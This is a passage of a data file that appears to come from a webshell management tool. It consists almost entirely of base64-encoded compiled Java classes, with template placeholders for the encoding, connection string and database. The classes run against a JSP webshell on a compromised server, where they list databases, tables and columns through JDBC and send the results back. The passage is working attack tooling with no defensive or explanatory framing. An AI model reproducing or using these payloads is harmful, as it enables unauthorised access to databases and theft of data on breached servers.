QAADABNAE4BAAdjaGFyc2V0AQAFVVRGLTgMAE8ATgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFAAygEACXRleHQvaHRtbAcAvwwAywDKDADMAMoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM0AzgwAzwDQDABjAGEMAGAAYQEABHZhcjEBAAMtPnwMAM0A0QwAbABtAQADfDwtDADSANMHANQMANUAygEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFQAVQEAEGphdmEvbGFuZy9TdHJpbmcMANYA1wwAUADYAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANkA0AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADaANsMAFAA3AwA3QDeDADfAOAMAM0A4QEAASwMAOIA3AwAzwBhAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4wDkDADlANABAAINCgEAAQoMAOYA5wwA6ADpBwDqDADrAOwBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwDtDADuAO8HAMEMAPAA8QcAwgwA8gDzBwDDDAD0APUHAMQMAPYA2wwA9wD4DAD5APoMAPsA+AEADnNob3cgZGF0YWJhc2VzAQABCQwAZQBmAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvb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'
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
},
show_tables
:
{
_
:
'yv66vgAAADIA/goATQBxBwByCgACAHMKAAIAdAgATgsAdQB2CAB3CQBMAHgIAHkIAHoJAEwAewcAfAoADAB9CAB+CwB/AIALAHUAgQsAfwCBBwCCCgASAHEIAIMKABIAhAoAEgCFCgBMAIYKAEwAhwgAiAgAiQgAigoADACLCgBMAIwKAAwAhQgAjQoAAgCOCgCPAJAHAJEIAJIKACIAhQgAkwoAJwCUBwCVCgAnAJYKACcAlwgAmAgAmQoAJwCaBwCbCgAnAJwKAC0AnQoAJwCeCgAnAJ8KABIAoAgAoQoALQCiCgAtAKMIAKQHAKUKADcAcQoANwCmCgAnAKcIAKgIAKkKACcAqgoAJwCrCgCsAK0IAK4KAK8AsAsAsQCyCwCzALQLALUAtgsAtwC4CwC3ALkLALUAugsAtQC7CAC8CAC9CgBMAL4HAG0HAL8BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbQcAvwcAcgcAwAcAwQcAbQcAlQcAfAcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCbAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwgcAwwcAxAcAxQcAxgEACnNob3dUYWJsZXMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9zaG93VGFibGVzLmphdmEMAFEAUgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADHAMgMAMkAygcAwAwAywBiAQAADABOAE8BAAdjaGFyc2V0AQAFVVRGLTgMAFAATwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFEAzAEACXRleHQvaHRtbAcAwQwAzQDMDADOAMwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM8A0AwA0QDSDABkAGIMAGEAYgEABHZhcjEBAAR2YXIyAQADLT58DADPANMMAG0AbgEAA3w8LQwA1ADVBwDWDADXAMwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABVAFYBABBqYXZhL2xhbmcvU3RyaW5nDADYANkMAFEA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbANIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABRAN4MAN8A4AwA4QDiDADPAOMBAAEsDADkAN4MANEAYgEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOUA5gwA5wDSAQACDQoBAAEKDADoAOkMAOoA6wcA7AwA7QDuAQATJmNoYXJhY3RlckVuY29kaW5nPQcA7wwA8ADxBwDDDADyAPMHAMQMAPQA9QcAxQwA9gD3BwDGDAD4AN0MAPkA+gwA+wD8DAD9APoBABFzaG93IHRhYmxlcyBmcm9tIAEAAQkMAGYAZwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEABG5leHQBAAMoKVoBAAlnZXRTdHJpbmcAIQBMAE0AAAACAAEATgBPAAAAAQBQAE8AAAAGAAEAUQBSAAEAUwAAAB0AAQABAAAABSq3AAGxAAAAAQBUAAAABgABAAAABwABAFUAVgABAFMAAAI0AAUACgAAAUMrwAACTSy2AANOLLYABDoEKi0SBbkABgIAxgAOLRIFuQAGAgCnAAUSB7UACCotEgm5AAYCAMYADi0SCbkABgIApwAFEgq1AAu7AAxZEge3AA06BbsADFkSB7cADToGGQQSDrkADwIALSq0AAu5ABACABkEKrQAC7kAEQIAKiq7ABJZtwATLRIUuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoHKiq7ABJZtwATLRIZuQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoIKiq7ABJZtwATLRIauQAGAgC2ABUSB7YAFbYAFrYAF7YAGDoJGQUSG7YAHFcZBioZBxkIGQm2AB22ABxXGQUZBrYAHrYAHFcZBRIftgAcVyy2ACAZBbYAHrYAIacAIjoHGQa7ABJZtwATEiO2ABUZB7YAJLYAFbYAFrYAHFcErAABAF4BHwEiACIAAgBUAAAAWgAWAAAADAAFAA0ACgAOABAADwAsABAASAARAFMAEgBeABQAZwAVAHEAFgB8ABcAoAAYAMQAGQDoABoA8AAbAQAAHAELAB0BEwAeAR8AIQEiAB8BJAAgAUEAIgBXAAAAdwAG/wAnAAUHAFgHAFkHAFoHAFsHAFwAAQcAXf8AAQAFBwBYBwBZBwBaBwBbBwBcAAIHAF0HAF5ZBwBd/wABAAUHAFgHAFkHAFoHAFsHAFwAAgcAXQcAXv8A3AAHBwBYBwBZBwBaBwBbBwBcBwBfBwBfAAEHAGAeAAAAYQBiAAIAUwAAAEMABAACAAAAHiq0AAgSJbYAJpkABSuwuwAnWSu2ACgqtAALtwApsAAAAAIAVAAAAAoAAgAAACUADgAmAFcAAAADAAEOAGMAAAAEAAEAIgAAAGQAYgACAFMAAAFNAAYABgAAAMkqtAAIEiW2ACaZAJcrEiqlAAwrEiq2ACaZAAYSB7ASK00rtgAsTLsALVkrtgAuBWy3AC9OEgc6BAM2BRUFK7YALqIAWLsAElm3ABMZBLYAFSwrFQW2ADC2ADEHeCwrFQUEYLYAMLYAMYC2ADISM7YAFbYAFjoELSwrFQW2ADC2ADEHeCwrFQUEYLYAMLYAMYC2ADSEBQKn/6UtEgq2ADWwKrQACBI2tgAmmQAeAU27ADdZtwA4Ti0rtgA5TbsAJ1ksEgq3ACmwK7AAAAACAFQAAABKABIAAAApAAwAKgAbACsAHgAtACEALgAmAC8ANAAwADgAMQBEADIAdgAzAJMAMQCZADUAoAA2AKwANwCuADgAtgA5ALwAOgDHADwAVwAAACIABhsC/wAcAAYHAFgHAF4HAF4HAGUHAF4BAAD6AF34AAYmAGMAAAAEAAEAIgAAAGYAZwACAFMAAAHNAAMAEAAAAR0SBzoHKiy2ABhNLLYAOhI7Ejy2AD0SPLYAPjoIGQgDMrYAOrgAP1e7ABJZtwATGQgEMrYAFRJAtgAVK7YAFbYAFjoJGQm4AEE6ChkKuQBCAQA6CxkLLbkAQwIAOgwZDLkARAEAOg0VBpkAVAQ2DhUOGQ25AEUBAKMALxkNFQ65AEYCADoPuwASWbcAExkHtgAVGQ+2ABUZBLYAFbYAFjoHhA4Bp//LuwASWbcAExkHtgAVGQW2ABW2ABY6BxkMuQBHAQCZAFcENg4VDhkNuQBFAQCjAC8ZDBUOuQBIAgA6D7sAElm3ABMZB7YAFRkPtgAVGQS2ABW2ABY6B4QOAaf/y7sAElm3ABMZB7YAFRkFtgAVtgAWOgen/6UZB7AAAAACAFQAAABaABYAAABAAAQAQQAKAEIAHABDACcARABDAEUASgBGAFMARwBdAEgAZgBKAGsASwB6AEwAhQBNAKAASwCmAE8AvABSAMYAUwDVAFQA4ABVAPsAUwEBAFcBGgBZAFcAAAA+AAb/AG4ADwcAWAcAXgcAXgcAXgcAXgcAXgEHAF4HAGgHAF4HAGkHAGoHAGsHAGwBAAD6ADcV/AAMAfoANxgAYwAAAAQAAQAiAAAAbQBuAAIAUwAAAE8ABwAHAAAAK7sAElm3ABMSSbYAFS22ABW2ABY6BBJKOgUSBzoGKissGQQZBRkGA7YAS7AAAAABAFQAAAASAAQAAABcABUAXQAZAF4AHQBfAGMAAAAEAAEAIgABAG8AAAACAHA='
,
'var0'
:
'#{encode}'
,
'var1'
:
'#{conn}'
,
'var2'
:
'#{db}'
},
show_columns
:
{
_
:
'yv66vgAAADIBBAoAUAB0BwB1CgACAHYKAAIAdwgAUQsAeAB5CAB6CQBPAHsIAHwIAH0JAE8AfgcAfwoADACACACBCwCCAIMLAHgAhAsAggCEBwCFCgASAHQIAIYKABIAhwoAEgCICgBPAIkKAE8AiggAiwgAjAgAjQgAjgoADACPCgBPAJAKAAwAiAgAkQoAAgCSCgCTAJQHAJUIAJYKACMAiAgAlwoAKACYBwCZCgAoAJoKACgAmwgAnAgAnQoAKACeBwCfCgAoAKAKAC4AoQoAKACiCgAoAKMKABIApAgApQoALgCmCgAuAKcIAKgHAKkKADgAdAoAOACqCgAoAKsIAKwIAK0KACgArgoAKACvCgCwALEIALIKALMAtAsAtQC2CwC3ALgLALkAugsAuwC8CwC7AL0LALkAvgsAuQC/CADACADBCADCCADDCgBPAMQHAHAHAMUBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAcAcAxQcAdQcAxgcAxwcAcAcAmQcAfwcAlQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCfAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAyAcAyQcAygcAywcAzAEAC3Nob3dDb2x1bW5zAQBcKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAQc2hvd0NvbHVtbnMuamF2YQwAVABVAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAM0AzgwAzwDQBwDGDADRAGUBAAAMAFEAUgEAB2NoYXJzZXQBAAVVVEYtOAwAUwBSAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAVADSAQAJdGV4dC9odG1sBwDHDADTANIMANQA0gEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwA1QDWDADXANgMAGcAZQwAZABlAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADVANkMAHAAcQEAA3w8LQwA2gDbBwDcDADdANIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABYAFkBABBqYXZhL2xhbmcvU3RyaW5nDADeAN8MAFQA4AEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADhANgBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA4gDjDABUAOQMAOUA5gwA5wDoDADVAOkBAAEsDADqAOQMANcAZQEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOsA7AwA7QDYAQACDQoBAAEKDADuAO8MAPAA8QcA8gwA8wD0AQATJmNoYXJhY3RlckVuY29kaW5nPQcA9QwA9gD3BwDJDAD4APkHAMoMAPoA+wcAywwA/AD9BwDMDAD+AOMMAP8BAAwBAQECDAEDAQABAAEJAQAOc2VsZWN0ICogZnJvbSABAAEuAQAKIGxpbWl0IDAsMAwAaQBqAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAE8AUAAAAAIAAQBRAFIAAAABAFMAUgAAAAYAAQBUAFUAAQBWAAAAHQABAAEAAAAFKrcAAbEAAAABAFcAAAAGAAEAAAAHAAEAWABZAAEAVgAAAl4ABgALAAABaSvAAAJNLLYAA04stgAEOgQqLRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHtQAIKi0SCbkABgIAxgAOLRIJuQAGAgCnAAUSCrUAC7sADFkSB7cADToFuwAMWRIHtwANOgYZBBIOuQAPAgAtKrQAC7kAEAIAGQQqtAALuQARAgAqKrsAElm3ABMtEhS5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgcqKrsAElm3ABMtEhm5AAYCALYAFRIHtgAVtgAWtgAXtgAYOggqKrsAElm3ABMtEhq5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgkqKrsAElm3ABMtEhu5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgoZBRIctgAdVxkGKhkHGQgZCRkKtgAetgAdVxkFGQa2AB+2AB1XGQUSILYAHVcstgAhGQW2AB+2ACKnACI6BxkGuwASWbcAExIktgAVGQe2ACW2ABW2ABa2AB1XBKwAAQBeAUUBSAAjAAIAVwAAAF4AFwAAAAwABQANAAoADgAQAA8ALAAQAEgAEQBTABIAXgAUAGcAFQBxABYAfAAXAKAAGADEABkA6AAaAQwAHAEUAB0BJgAeATEAHwE5ACABRQAjAUgAIQFKACIBZwAkAFoAAAB3AAb/ACcABQcAWwcAXAcAXQcAXgcAXwABBwBg/wABAAUHAFsHAFwHAF0HAF4HAF8AAgcAYAcAYVkHAGD/AAEABQcAWwcAXAcAXQcAXgcAXwACBwBgBwBh/wECAAcHAFsHAFwHAF0HAF4HAF8HAGIHAGIAAQcAYx4AAABkAGUAAgBWAAAAQwAEAAIAAAAeKrQACBImtgAnmQAFK7C7AChZK7YAKSq0AAu3ACqwAAAAAgBXAAAACgACAAAAJwAOACgAWgAAAAMAAQ4AZgAAAAQAAQAjAAAAZwBlAAIAVgAAAU0ABgAGAAAAySq0AAgSJrYAJ5kAlysSK6UADCsSK7YAJ5kABhIHsBIsTSu2AC1MuwAuWSu2AC8FbLcAME4SBzoEAzYFFQUrtgAvogBYuwASWbcAExkEtgAVLCsVBbYAMbYAMgd4LCsVBQRgtgAxtgAygLYAMxI0tgAVtgAWOgQtLCsVBbYAMbYAMgd4LCsVBQRgtgAxtgAygLYANYQFAqf/pS0SCrYANrAqtAAIEje2ACeZAB4BTbsAOFm3ADlOLSu2ADpNuwAoWSwSCrcAKrArsAAAAAIAVwAAAEoAEgAAACsADAAsABsALQAeAC8AIQAwACYAMQA0ADIAOAAzAEQANAB2ADUAkwAzAJkANwCgADgArAA5AK4AOgC2ADsAvAA8AMcAPgBaAAAAIgAGGwL/ABwABgcAWwcAYQcAYQcAaAcAYQEAAPoA